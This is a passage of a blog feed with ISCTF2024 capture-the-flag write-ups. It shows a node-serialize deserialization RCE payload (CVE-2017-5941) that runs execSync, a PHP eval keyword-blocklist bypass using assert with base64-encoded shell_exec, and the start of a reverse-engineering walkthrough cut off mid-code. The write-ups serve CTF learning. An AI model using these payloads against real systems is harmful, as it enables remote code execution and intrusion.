<div class="language-javascript line-numbers-mode" data-highlighter="prismjs" data-ext="js"><pre><code class="language-javascript"><span class="line">app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">  res<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span><span class="token string">"login"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>打开后是一个登录界面。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fe2297539.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>根据代码中的账密可以登录。</p>
<div class="language-javascript line-numbers-mode" data-highlighter="prismjs" data-ext="js"><pre><code class="language-javascript"><span class="line">users <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">guest</span><span class="token operator">:</span> <span class="token string">"123456"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><img src="https://img.hestudio.net/2024/12/10/6757fe3f4620e.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>让我们看一下代码。</p>
<div class="language-javascript line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="js" style="--vp-collapsed-lines:15;"><pre><code class="language-javascript"><span class="line">app<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">  username <span class="token operator">=</span> req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>username<span class="token punctuation">;</span></span>
<span class="line">  password <span class="token operator">=</span> req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>password<span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>username <span class="token operator">||</span> <span class="token operator">!</span>password<span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">400</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"用户名和密码都是必填项"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line">  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>users<span class="token punctuation">[</span>username<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">409</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"用户名不存在"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span>users<span class="token punctuation">[</span>username<span class="token punctuation">]</span> <span class="token operator">===</span> password<span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">      token <span class="token operator">=</span> Buffer<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span></span>
<span class="line">        serialize<span class="token punctuation">.</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">username</span><span class="token operator">:</span> username<span class="token punctuation">,</span> <span class="token literal-property property">isAdmin</span><span class="token operator">:</span> <span class="token boolean">false</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">,</span></span>
<span class="line">      <span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token string">"base64"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">      res<span class="token punctuation">.</span><span class="token function">cookie</span><span class="token punctuation">(</span><span class="token string">"token"</span><span class="token punctuation">,</span> token<span class="token punctuation">,</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token literal-property property">maxAge</span><span class="token operator">:</span> <span class="token number">900000</span><span class="token punctuation">,</span></span>
<span class="line">        <span class="token literal-property property">httpOnly</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span></span>
<span class="line">      <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">      <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">redirect</span><span class="token punctuation">(</span><span class="token string">"/index"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">      <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"密码错误"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><blockquote>
<p>此处已代码格式化，题目提供的源码没有代码格式化。</p>
</blockquote>
<p>当验证通过后，网页会向我们发送一个由 base64 包裹的 Cookie，我们可以在浏览器获得这个 Cookie.</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fea5a7a28.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<blockquote>
<p>此处使用的是 EditThisCookie 浏览器插件，实际上在开发者模式中也可以查改 Cookie.</p>
</blockquote>
<p>将 token 解密后可以获得 Cookie 的内容，我们就要从这里下手。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757feb52cd96.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>那继续分析一下代码。</p>
<p>当访问<code>/index</code>会调用<code>auth</code>函数验证身份。</p>
<div class="language-javascript line-numbers-mode" data-highlighter="prismjs" data-ext="js"><pre><code class="language-javascript"><span class="line">app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"/index"</span><span class="token punctuation">,</span> auth<span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">  res<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span><span class="token string">"index"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><div class="language-javascript line-numbers-mode" data-highlighter="prismjs" data-ext="js"><pre><code class="language-javascript"><span class="line"><span class="token keyword">function</span> <span class="token function">auth</span><span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res<span class="token punctuation">,</span> next</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">  <span class="token keyword">if</span> <span class="token punctuation">(</span>req<span class="token punctuation">.</span>cookies<span class="token punctuation">.</span>token<span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">const</span> user <span class="token operator">=</span> serialize<span class="token punctuation">.</span><span class="token function">unserialize</span><span class="token punctuation">(</span></span>
<span class="line">      Buffer<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>cookies<span class="token punctuation">.</span>token<span class="token punctuation">,</span> <span class="token string">"base64"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span></span>
<span class="line">    <span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>user<span class="token punctuation">.</span>username<span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">      <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">401</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">redirect</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line">  <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">401</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">redirect</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line">  <span class="token function">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>在这里会将传入的 Cookie 反序列化，这里就是下手点。</p>
<p>我们返回<code>package.json</code>, 查看依赖版本。</p>
<div class="language-json line-numbers-mode" data-highlighter="prismjs" data-ext="json"><pre><code class="language-json"><span class="line"><span class="token property">"node-serialize"</span><span class="token operator">:</span> <span class="token string">"^0.0.4"</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>版本符合<a href="https://github.com/advisories/GHSA-q4v7-4rhw-9hqm" target="_blank" rel="noopener noreferrer">CVE-2017-5941</a>的限定版本。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fec883402.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p><a href="https://packetstormsecurity.com/files/161356/Node.JS-Remote-Code-Execution.html" target="_blank" rel="noopener noreferrer">Node.JS Remote Code Execution ≈ Packet Storm</a>中提供了此 CVE 的 Payload，使用</p>
<div class="language-javascript line-numbers-mode" data-highlighter="prismjs" data-ext="js"><pre><code class="language-javascript"><span class="line">code <span class="token operator">=</span> <span class="token string">"_$$ND_FUNC$$_"</span> <span class="token operator">+</span> payload<span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>代码可以触发 RCE 漏洞。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fed5c550c.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>我们可以据此编写一个 Payload.</p>
<div class="language-json line-numbers-mode" data-highlighter="prismjs" data-ext="json"><pre><code class="language-json"><span class="line"><span class="token punctuation">{</span></span>
<span class="line">  <span class="token property">"username"</span><span class="token operator">:</span> <span class="token string">"guest"</span><span class="token punctuation">,</span></span>
<span class="line">  <span class="token property">"isAdmin"</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span></span>
<span class="line">  <span class="token property">"payload"</span><span class="token operator">:</span> <span class="token string">"_$$ND_FUNC$$_function(){require('child_process').execSync('cp /flag /app/views/index.ejs')}()"</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>将其转为 base64，然后替换掉 token 即可获取 flag.</p>
]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">远程Shell漏洞 | ISCTF2024 | Web ezrce</title>
    <id>https://www.hestudio.net/posts/ezrce-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/ezrce-isctf2024.html"/>
    <updated>2024-12-10T14:18:03.000Z</updated>
    <summary type="html"><![CDATA[<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></span>
<span class="line"></span>
<span class="line"><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token variable">$cmd</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&amp;\&gt;\&lt;]|eval|system|exec|popen|shell_exec/i"</span><span class="token punctuation">,</span> <span class="token variable">$cmd</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Blocked by security filter!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$cmd</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"><span class="token delimiter important">?&gt;</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></summary>
    <content type="html"><![CDATA[<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></span>
<span class="line"></span>
<span class="line"><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token variable">$cmd</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&amp;\&gt;\&lt;]|eval|system|exec|popen|shell_exec/i"</span><span class="token punctuation">,</span> <span class="token variable">$cmd</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Blocked by security filter!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$cmd</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"><span class="token delimiter important">?&gt;</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>进入网页后显示了以上代码。它过滤了一些关键字（为什么还有空格！！），我们需要在上面运行 Shell，拿到 flag。</p>
<p>但是它有点小粗心，没有禁止<code>assert</code>，那我要发挥咯~~</p>
<p>我们可以<code>assert</code>套一层<code>base64</code>拿到<code>flag</code>.</p>
<p>先将以下命令转为<code>base64</code></p>
<div class="language-php line-numbers-mode" data-highlighter="prismjs" data-ext="php"><pre><code class="language-php"><span class="line"><span class="token function">shell_exec</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"cat /flag"</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>然后再包含进代码中，<code>GET</code>请求发过去。</p>
<div class="language-php line-numbers-mode" data-highlighter="prismjs" data-ext="php"><pre><code class="language-php"><span class="line"><span class="token function">assert</span><span class="token punctuation">(</span><span class="token function">base64_decode</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"c2hlbGxfZXhlYygiY2F0IC9mbGFnIik="</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">逆向加密 | ISCTF2024 | Reverse Ezre</title>
    <id>https://www.hestudio.net/posts/ezre-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/ezre-isctf2024.html"/>
    <updated>2024-12-10T14:18:03.000Z</updated>
    <summary type="html"><![CDATA[<p>把文件拖进 IDA 分析可得以下内容：</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fa8cd0f53.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>程序运行时，会让你输入 flag，并将你输入的文本传给一个加密算法，如果验证和已加密文本<code>v5</code>吻合，则提示<code>Yeah,You get what you want!!!</code></p>
<p>我们可以观察到，验证结果在<code>v2</code>上，如果<code>v2</code>为<code>True</code>，则通过验证。</p>]]></summary>
    <content type="html"><![CDATA[<p>把文件拖进 IDA 分析可得以下内容：</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fa8cd0f53.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>程序运行时，会让你输入 flag，并将你输入的文本传给一个加密算法，如果验证和已加密文本<code>v5</code>吻合，则提示<code>Yeah,You get what you want!!!</code></p>
<p>我们可以观察到，验证结果在<code>v2</code>上，如果<code>v2</code>为<code>True</code>，则通过验证。</p>
<div class="language-c line-numbers-mode" data-highlighter="prismjs" data-ext="c"><pre><code class="language-c"><span class="line"><span class="token keyword">if</span> <span class="token punctuation">(</span> v2 <span class="token punctuation">)</span></span>
<span class="line">      v1 <span class="token operator">=</span> <span class="token string">"Yeah,You get what you want!!!"</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>我们继续查看<code>v2</code></p>
<div class="language-c line-numbers-mode" data-highlighter="prismjs" data-ext="c"><pre><code class="language-c"><span class="line">v2 <span class="token operator">=</span> <span class="token function">sub_140011217</span><span class="token punctuation">(</span>v6<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span><span class="token punctuation">)</span>v0<span class="token punctuation">,</span> v5<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>追踪该函数可得：</p>
<div class="language-c line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="c" style="--vp-collapsed-lines:15;"><pre><code class="language-c"><span class="line">__int64 __fastcall <span class="token function">sub_140011860</span><span class="token punctuation">(</span>__int64 a1<span class="token punctuation">,</span> <span class="token keyword">int</span> a2<span class="token punctuation">,</span> _BYTE <span class="token operator">*</span>a3<span class="token punctuation">)</span></span>
<span class="line"><span class="token punctuation">{</span></span>
<span class="line">  __int64 v4<span class="token punctuation">;</span> <span class="token comment">// rbx</span></span>
<span class="line">  _BYTE <span class="token operator">*</span>v6<span class="token punctuation">;</span> <span class="token comment">// rax</span></span>
<span class="line">  __int64 v7<span class="token punctuation">;</span> <span class="token comment">// rdi</span></span>
<span class="line"></span>
<span class="line">  v4 <span class="token operator">=</span> a2<span class="token punctuation">;</span></span>
<span class="line">  <span class="token function">sub_1400112C1</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>unk_14001E00F<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>v4 <span class="token operator">&lt;=</span> <span class="token number">0</span> <span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">return</span> <span class="token number">1LL</span><span class="token punctuation">;</span></span>
<span class="line">  v6 <span class="token operator">=</span> a3<span class="token punctuation">;</span></span>
<span class="line">  v7 <span class="token operator">=</span> a1 <span class="token operator">-</span> <span class="token punctuation">(</span>_QWORD<span class="token punctuation">)</span>a3<span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">while</span> <span class="token punctuation">(</span> v6<span class="token punctuation">[</span>v7<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token operator">*</span>v6 <span class="token punctuation">)</span></span>
<span class="line">  <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token operator">++</span>v6 <span class="token operator">-</span> a3 <span class="token operator">&gt;=</span> v4 <span class="token punctuation">)</span></span>
<span class="line">      <span class="token keyword">return</span> <span class="token number">1LL</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line">  <span class="token keyword">return</span> <span class="token number">0LL</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>这是一个比较函数，用于比对字符串是否符合要求。将<code>v6</code>和<code>v5</code>进行比对。</p>
<p>我们继续向上分析，<code>v6</code>为我们输入的文本，</p>
<div class="language-c line-numbers-mode" data-highlighter="prismjs" data-ext="c"><pre><code class="language-c"><span class="line"><span class="token function">sub_140011073</span><span class="token punctuation">(</span><span class="token string">"%s"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span>v6<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>然后会传入</p>
<div class="language-c line-numbers-mode" data-highlighter="prismjs" data-ext="c"><pre><code class="language-c"><span class="line"><span class="token function">sub_1400112E9</span><span class="token punctuation">(</span>v6<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span><span class="token punctuation">)</span>v0<span class="token punctuation">,</span> v4<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>推测这个就是加密函数，<code>v4</code>就是密钥：</p>
<div class="language-c line-numbers-mode" data-highlighter="prismjs" data-ext="c"><pre><code class="language-c"><span class="line"><span class="token function">strcpy</span><span class="token punctuation">(</span>v4<span class="token punctuation">,</span> <span class="token string">"ISCTF"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>追踪<code>sub_1400112E9</code>函数可得：</p>
<div class="language-c line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="c" style="--vp-collapsed-lines:15;"><pre><code class="language-c"><span class="line">__int64 __fastcall <span class="token function">sub_1400117A0</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span>a1<span class="token punctuation">,</span> <span class="token keyword">int</span> a2<span class="token punctuation">,</span> __int64 a3<span class="token punctuation">)</span></span>
<span class="line"><span class="token punctuation">{</span></span>
<span class="line">  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span></span>
<span class="line">  <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// r9d</span></span>
<span class="line">  <span class="token keyword">int</span> v8<span class="token punctuation">;</span> <span class="token comment">// r8d</span></span>
<span class="line"></span>
<span class="line">  result <span class="token operator">=</span> <span class="token function">sub_1400112C1</span><span class="token punctuation">(</span><span class="token punctuation">(</span>__int64<span class="token punctuation">)</span><span class="token operator">&amp;</span>unk_14001E00F<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> a2<span class="token punctuation">;</span> <span class="token operator">++</span>a1 <span class="token punctuation">)</span></span>
<span class="line">  <span class="token punctuation">{</span></span>
<span class="line">    v8 <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">char</span><span class="token punctuation">)</span><span class="token operator">*</span>a1<span class="token punctuation">;</span></span>
<span class="line">    result <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span><span class="token punctuation">)</span><span class="token punctuation">(</span>v8 <span class="token operator">-</span> <span class="token number">65</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> __int8<span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token operator">*</span>a1 <span class="token operator">-</span> <span class="token number">65</span><span class="token punctuation">)</span> <span class="token operator">&lt;=</span> <span class="token number">0x19u</span> <span class="token punctuation">)</span></span>
